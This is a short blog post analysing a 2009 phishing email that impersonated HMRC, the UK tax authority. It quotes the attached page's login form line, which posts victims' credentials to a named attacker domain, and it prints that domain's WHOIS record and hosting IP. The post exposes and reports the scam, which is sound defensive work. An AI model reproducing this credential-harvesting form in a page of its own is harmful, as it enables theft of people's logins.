XFiles HMRC Phishing Campaign

No, not the Mulder and Scully XFiles, this is the xfilees.biz domain, hosted at Yahoo's AltaVista netblock.

Our dear phisher has made two mistakes here however, firstly, the .htm page attached to the e-mail, as you can see in the screenshot, is not presented properly (they forgot to base ref the HMRC domain, so it's not displayed properly). Secondly, HMRC NEVER sends out attachments such as this, and finally, they didn't bother checking who they're trying to phish - so I got a copy (woops!).

A quick look at the .htm's source code, instantly gives away who is responsible for this particular scam (and don't worry, I've notified HMRC, your hosting company, and of course the authorities);

<form name="logonForm" onsubmit="if (Validate()==false) return false;" action="http://www.xfilees.biz/luk.php" method="post">

The domain WhoIs shows little;

Domain Name: XFILEES.BIZ
Domain ID: D32902433-BIZ
Sponsoring Registrar: MELBOURNE IT LTD
Sponsoring Registrar IANA ID: 13
Domain Status: clientTransferProhibited
Registrant ID: B124834080000021
Registrant Name: Yuliya Trofimovic
Registrant Organization: Private Registration US
Registrant Address1: PO Box 61359
Registrant City: Sunnyvale
Registrant State/Province: CA
Registrant Postal Code: 94088
Registrant Country: United States
Registrant Country Code: US
Registrant Phone Number: +1.5105952002
Registrant Email: contact@myprivateregistration.com
Administrative Contact ID: B124834080000017
Administrative Contact Name: PrivateRegContact Admin
Administrative Contact Organization: Private Reg US
Administrative Contact Address1: PO Box 61359
Administrative Contact City: Sunnyvale
Administrative Contact State/Province: CA
Administrative Contact Postal Code: 94088
Administrative Contact Country: United States
Administrative Contact Country Code: US
Administrative Contact Phone Number: +1.5105952002
Administrative Contact Email: contact@myprivateregistration.com
Billing Contact ID: D124834010635579
Billing Contact Name: PrivateRegContact Bill
Billing Contact Organization: Private Reg US
Billing Contact Address1: PO Box 61359
Billing Contact City: Sunnyvale
Billing Contact State/Province: CA
Billing Contact Postal Code: 94088
Billing Contact Country: United States
Billing Contact Country Code: US
Billing Contact Phone Number: +1.5105952002
Billing Contact Email: contact@myprivateregistration.com
Technical Contact ID: B124834080000019
Technical Contact Name: PrivateRegContact TECH
Technical Contact Organization: Private Reg US
Technical Contact Address1: PO Box 61359
Technical Contact City: Sunnyvale
Technical Contact State/Province: CA
Technical Contact Postal Code: 94088
Technical Contact Country: United States
Technical Contact Country Code: US
Technical Contact Phone Number: +1.5105952002
Technical Contact Email: contact@myprivateregistration.com
Name Server: YNS1.YAHOO.COM
Name Server: YNS2.YAHOO.COM
Created by Registrar: MELBOURNE IT LTD
Last Updated by Registrar: MELBOURNE IT LTD
Domain Registration Date: Thu Jul 23 09:20:49 GMT 2009
Domain Expiration Date: Thu Jul 22 23:59:59 GMT 2010
Domain Last Updated Date: Thu Jul 23 09:20:55 GMT 2009

Notice the registration date? Yep, it was just created yesterday (aww and you gots blacklisted already?).

Little tip for you guys by the way, the IP block this one is hosted on, is also known for malware and exploits, so may aswell just blackhole it.

http://hosts-file.net/?s=216.39.57.104&view=matches